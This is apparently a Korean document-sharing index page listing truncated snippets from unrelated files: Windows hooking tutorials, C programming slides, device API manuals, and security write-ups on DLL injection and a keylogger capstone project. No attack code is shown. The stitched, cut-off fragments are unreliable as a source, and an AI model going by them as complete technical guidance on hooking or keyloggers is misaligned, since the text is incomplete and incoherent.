Microsoft Word - hook8.doc 개발자를위한윈도우후킹테크닉 WH_DEBUG 훅을이용한훅탐지방법 지금까지우리는다양한종류의훅을사용해서다른프로그램으로전달되는메시지를가로채는방법을법을배웠다. 이번시간에는 WH_DEBUG 훅을사용해서훅프로시저를탐지하는방법에대해서다룬다. 목차 목차...1 필자소개...1 연재가이드...1 연재순서... 오류! 책갈피가정의되어있지않습니다. 필자메모...2 Intro...2

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

IS119_Message.Hooking_이성재.hwp

IS119_Message.Hooking_이성재.hwp Message Hooking 이성재 einsstar@is119.jnu.ac.kr Content 1. 목적 1 2. 윈도우 NT 환경에서의메시지처리 2 2.1. 메시지큐를이용한메시지처리 3 2.2. 윈도우프로시저에직접메시지전달 3 3. 메시지후킹이란 3 3.1. 메시지후킹의개념정의 3 3.2. 메시지후킹의유포방법 3 4. 후킹프로시저제작 3 4.1. 사전지식

More information

Microsoft Word - hook3.doc

Microsoft Word - hook3.doc 개발자를위한윈도우후킹테크닉 메시지훅이용한 Spy++ 흉내내기 우리는지난강좌에서후킹을하는기초적인방법과사용되는 API 들을비롯해서후킹함수가호출되는컨텍스트에대해서배웠다. 이번강좌에서는 WH_GETMESSAGE 훅을통해서 Spy++ 과유사한프로그램을제작할것이다. 이과정에서 Windows 애플리케이션이메시지를처리하는과정과윈도우를열거하는방법에대해서알아보도록하자. 목차

More information

Microsoft Word - hook4.doc

Microsoft Word - hook4.doc 개발자를위한윈도우후킹테크닉 SendMessage 후킹하기 지난시간에 WH_GETMESSAGE 훅을통해서메시큐에서메시지가처리되는과정을후킹해보았다. 이번시간에는 WH_CALLWNDPROC, WH_CALLWNDRETPROC 훅을통해서 SendMessage 의처리과정을후킹하는방법과다수의훅프로시저를설치한경우에동기화하는방법에대해서설명할것이다. 목차 목차...1 필자소개...1

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

Microsoft Word - hook7.doc

Microsoft Word - hook7.doc 개발자를위한윈도우후킹테크닉 WH_SHELL 훅을사용해다른프로세스윈도우서브클래싱하기 Win32 플랫폼에서는컨텍스트문제로다른프로세스에존재하는윈도우를서브클래싱 하기가쉽지않다. WH_CBT 훅과 WH_SHELL 훅을통해서이러한작업을하는방법을 살펴본다. 또한브라우저 URL 하이재커와팝업제거프로그램을만드는방법을살펴본다. 목차 목차...1 필자소개...1 연재가이드...

More information

Microsoft Word - hook5.doc

Microsoft Word - hook5.doc 개발자를위한윈도우후킹테크닉 Spy++ 클론 imspy 제작하기 지난시간까지우리는 WH_GETMESSAGE, WH_CALLWNDPROC, WH_CALLWNDPROCRET 을 사용하는이론적인방법과동기화방법에대해서살펴보았다. 이번시간에는세가지훅을 사용해서 Spy++ 과같이메시지처리과정을보여주는프로그램을작성할것이다. 목차 목차...1 필자소개...1 연재가이드...1

More information

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

Microsoft PowerPoint - 09-CE-5-윈도우 핸들 순천향대학교컴퓨터학부이상정 1 학습내용 윈도우핸들 윈도우찿기 윈도우확인및제거 윈도우숨기기 윈도우포커스 윈도우텍스트 윈도우핸들 순천향대학교컴퓨터학부이상정 3 핸들 (handle) 윈도우에서구체적인어떤대상을구분하기위해지정되는고유의번호 32비트의정수값 핸들은운영체제가발급하고사용자가이값을사용 실제값이무엇인지는몰라도상관없음 윈도우, DC, 브러쉬등등 순천향대학교컴퓨터학부이상정

More information

Content 1. DLL? 그게뭐야?

Content 1. DLL? 그게뭐야? DLL Injection 은어떻게이루어지는가? By bl4ck3y3 (http://hisjournal.net/blog) Abstract 루트킷을비롯하여바이러스, 악성코드등여러분야에두루쓰이는기법이 DLL Injection입니다. Windows에한정되어적용되는것이지만, Windows 자체의점유율이높은이유로아주효과적으로공격자가원하는작업을수행할수있는방법이죠. 최근루트킷에대해공부하면서이

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

슬라이드 1

슬라이드 1 핚국산업기술대학교 제 14 강 GUI (III) 이대현교수 학습안내 학습목표 CEGUI 라이브러리를이용하여, 게임메뉴 UI 를구현해본다. 학습내용 CEGUI 레이아웃의로딩및렌더링. OIS 와 CEGUI 의연결. CEGUI 위젯과이벤트의연동. UI 구현 : 하드코딩방식 C++ 코드를이용하여, 코드내에서직접위젯들을생성및설정 CEGUI::PushButton* resumebutton

More information

04장 메시지 처리 유형

04장 메시지 처리 유형 4 장 메시지처리유형 김성영교수 금오공과대학교 컴퓨터공학부 메시지처리유형 윈도우에서발생하는이벤트에대응하는윈도우메시지를처리 2 장및 3 장의실습예제 자식윈도우에서발생한이벤트를부모윈도우에서처리 WM_COMMAND 메시지처리 실습 4.2 자식윈도우에서발생한사건유형을구분하여처리 Notification code 처리 실습 4.7 Notification code 의한계를극복하여처리

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

Microsoft Word - src.doc

Microsoft Word - src.doc IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

1장 윈도우 프로그래밍 들어가기

1장 윈도우 프로그래밍 들어가기 1 장 윈도우프로그래밍들어가기 김성영교수 금오공과대학교 컴퓨터공학부 예제 다음프로그램은언제종료할까? #include #define QUIT -1 int Func(void) int i; cout > i; return i; void main(void) int Sum = 0, i; cout

More information

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 (   ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각 JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.

More information

vRealize Automation용 VMware Remote Console - VMware

vRealize Automation용 VMware Remote Console - VMware vrealize Automation 용 VMware Remote Console VMware Remote Console 9.0 이문서는새버전으로교체되기전까지나열된각제품버전및모든이후버전을지원합니다. 이문서에대한최신버전을확인하려면 http://www.vmware.com/kr/support/pubs 를참조하십시오. KO-002230-00 vrealize Automation

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

MFC 프로그래밍

MFC 프로그래밍 윈도우프로그래밍 Visual C++ 2010 MFC Programming 1 장. 윈도우프로그래밍기초 윈도우운영체제의특징 그래픽사용자인터페이스 시스템메뉴타이틀바메뉴최소 / 최대 / 닫기버튼 툴바 대화상자 클라이언트영역 상태표시줄 스크롤바 윈도우운영체제의특징 메시지구동구조 윈도우운영체제의특징 멀티태스킹과멀티스레딩 멀티태스킹 (Multitasking) 운영체제가여러개의응용프로그램을동시에실행

More information

PowerPoint Presentation

PowerPoint Presentation #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

API 매뉴얼

API 매뉴얼 PCI-TC03 API Programming (Rev 1.0) Windows, Windows2000, Windows NT, Windows XP and Windows 7 are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD> 2006 년 2 학기윈도우게임프로그래밍 제 8 강프레임속도의조절 이대현 한국산업기술대학교 오늘의학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용한다. FPS(Frame Per Sec)

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

Microsoft PowerPoint - 04windows.ppt

Microsoft PowerPoint - 04windows.ppt Game Programming I Windows 프로그래밍 (1) March 27, 2006 목표 윈도우프로그래밍에서이용되는이벤트구동프로그래밍모델의이해 Direct3D 를이용하는윈도우어플리케이션의작성을위한최소한의코드이해 윈도우 (Win32) 어플리케이션 Direct3D API ( 어플리케이션프로그래밍인터페이스 ) 를이용하기위해필요 Win32 API 를이용해작성

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2> 게임엔진 제 4 강프레임리스너와 OIS 입력시스템 이대현교수 한국산업기술대학교게임공학과 학습내용 프레임리스너의개념 프레임리스너를이용한엔터티의이동 OIS 입력시스템을이용한키보드입력의처리 게임루프 Initialization Game Logic Drawing N Exit? Y Finish 실제게임루프 오우거엔진의메인렌더링루프 Root::startRendering()

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우. 소프트웨어매뉴얼 윈도우드라이버 Rev. 3.03 SLP-TX220 / TX223 SLP-TX420 / TX423 SLP-TX400 / TX403 SLP-DX220 / DX223 SLP-DX420 / DX423 SLP-DL410 / DL413 SLP-T400 / T403 SLP-T400R / T403R SLP-D220 / D223 SLP-D420 / D423

More information

JUNIT 실습및발표

JUNIT 실습및발표 JUNIT 실습및발표 JUNIT 접속 www.junit.org DownLoad JUnit JavaDoc API Document 를참조 JUNIT 4.8.1 다운로드 설치파일 (jar 파일 ) 을다운로드 CLASSPATH 를설정 환경변수에서설정 실행할클래스에서 import JUnit 설치하기 테스트실행주석 @Test Test 를실행할 method 앞에붙임 expected

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

JDK이클립스

JDK이클립스 JDK 와이클립스설치 A. JDK 다운로드, 설치및환경설정 지금부터 JDK를다운로드받아설치하고 JDK를윈도우에서활용할수있도록환경을설정하는전과정을소개한다. 다운로드 www.oracle.com 사이트에접속하여 Downloads 메뉴를선택한후 [ 그림 1] 과같이 "Java for Developers" 를클릭한다. [ 그림 1] www.oracle.com 사이트

More information

요약문 1. 연구제목 DLL Injection 을이용한 KeyLogger 제작및탐지방법연구 2. 연구목적및필요성인터넷의발달과컴퓨터의성능과보안프로그램성능과기술이발전함에따라악성코드의기술과기교도많이발전하였다. 그리고악성코드의기술도늘어남에따라초보자도쉽게사용이가능해지고본인이모르

요약문 1. 연구제목 DLL Injection 을이용한 KeyLogger 제작및탐지방법연구 2. 연구목적및필요성인터넷의발달과컴퓨터의성능과보안프로그램성능과기술이발전함에따라악성코드의기술과기교도많이발전하였다. 그리고악성코드의기술도늘어남에따라초보자도쉽게사용이가능해지고본인이모르 캡스톤보고서 Dll Injection 을이용한 KeyLogger 제작및탐지방법분석 팀명 : 4 조 Guardian 지도교수 : 양정모교수님 조장 : 조민제 (4년) 신예원 (4년) 이상철 (4년) 유명곤 (4년) 2013.5 중부대학교정보보호학과 요약문 1. 연구제목 DLL Injection 을이용한 KeyLogger 제작및탐지방법연구 2. 연구목적및필요성인터넷의발달과컴퓨터의성능과보안프로그램성능과기술이발전함에따라악성코드의기술과기교도많이발전하였다.

More information

슬라이드 1

슬라이드 1 2007 년 2 학기윈도우게임프로그래밍 제 7 강프레임속도의조절 이대현 핚국산업기술대학교 학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용핚다. FPS(Frame Per Sec)

More information

System Recovery 사용자 매뉴얼

System Recovery 사용자 매뉴얼 Samsung OS Recovery Solution 을이용하여간편하게 MagicInfo 의네트워크를설정하고시스템을백업및복원할수있습니다. 시스템시작시리모컨의 - 버튼이나키보드의 F3 키를연속해서누르면복구모드로진입한후 Samsung OS Recovery Solution 이실행됩니다. Samsung OS Recovery Solution 은키보드와리모컨을사용하여조작할수있습니다.

More information

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Microsoft Word - windows server 2003 수동설치_non pro support_.doc Windows Server 2003 수동 설치 가이드 INDEX 운영체제 설치 준비과정 1 드라이버를 위한 플로피 디스크 작성 2 드라이버를 위한 USB 메모리 작성 7 운영체제 설치 과정 14 Boot Sequence 변경 14 컨트롤러 드라이버 수동 설치 15 운영체제 설치 17 운영체제 설치 준비 과정 Windows Server 2003 에는 기본적으로

More information

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

var answer = confirm( 확인이나취소를누르세요.); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write( 확인을눌렀습니다.); else { document.write( 취소를눌렀습니다.); 자바스크립트 (JavaScript) - HTML 은사용자에게인터페이스 (interface) 를제공하는언어 - 자바스크립트는서버로데이터를전송하지않고서할수있는데이터처리를수행한다. - 자바스크립트는 HTML 나 JSP 에서작성할수있고 ( 내부스크립트 ), 별도의파일로도작성이가능하다 ( 외 부스크립트 ). - 내부스크립트 - 외부스크립트

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BOOTLOADER Jo, Heeseung 부트로더컴파일 부트로더소스복사및압축해제 부트로더소스는웹페이지에서다운로드 /working 디렉터리로이동한후, wget으로다운로드 이후작업은모두 /working 디렉터리에서진행 root@ubuntu:# cp /media/sm5-linux-111031/source/platform/uboot-s4210.tar.bz2 /working

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce DLL injection Written by Darawk 편역 : poc@securityproof.net * 이글은 Codebreakers Journal Vol.1, No.1, 2007 에서발표된것이며, 오역이나 오타가있을수있으니원문을참고시기바랍니다. 이문서에서, 나는프로세스에 dll을삽입하는알려진 ( 적어도내가아는한에서 ) 방법들모두를다룰것이다. Dll injection은

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT KEY EVENT & STATE 구현 2007. 1. 25 PLATFORM TEAM 정용학 차례 Key Event HS TASK UI TASK LONG KEY STATE 구현 소스코드및실행화면 질의응답및토의 2 KEY EVENT - HS TASK hs_task keypad_scan_keypad hs_init keypad_pass_key_code keypad_init

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070> 1 #include 2 #include 3 #include 4 #include 5 #include 6 #include "QuickSort.h" 7 using namespace std; 8 9 10 Node* Queue[100]; // 추가입력된데이터를저장하기위한 Queue

More information

DLL(Dynamic Linked Library)

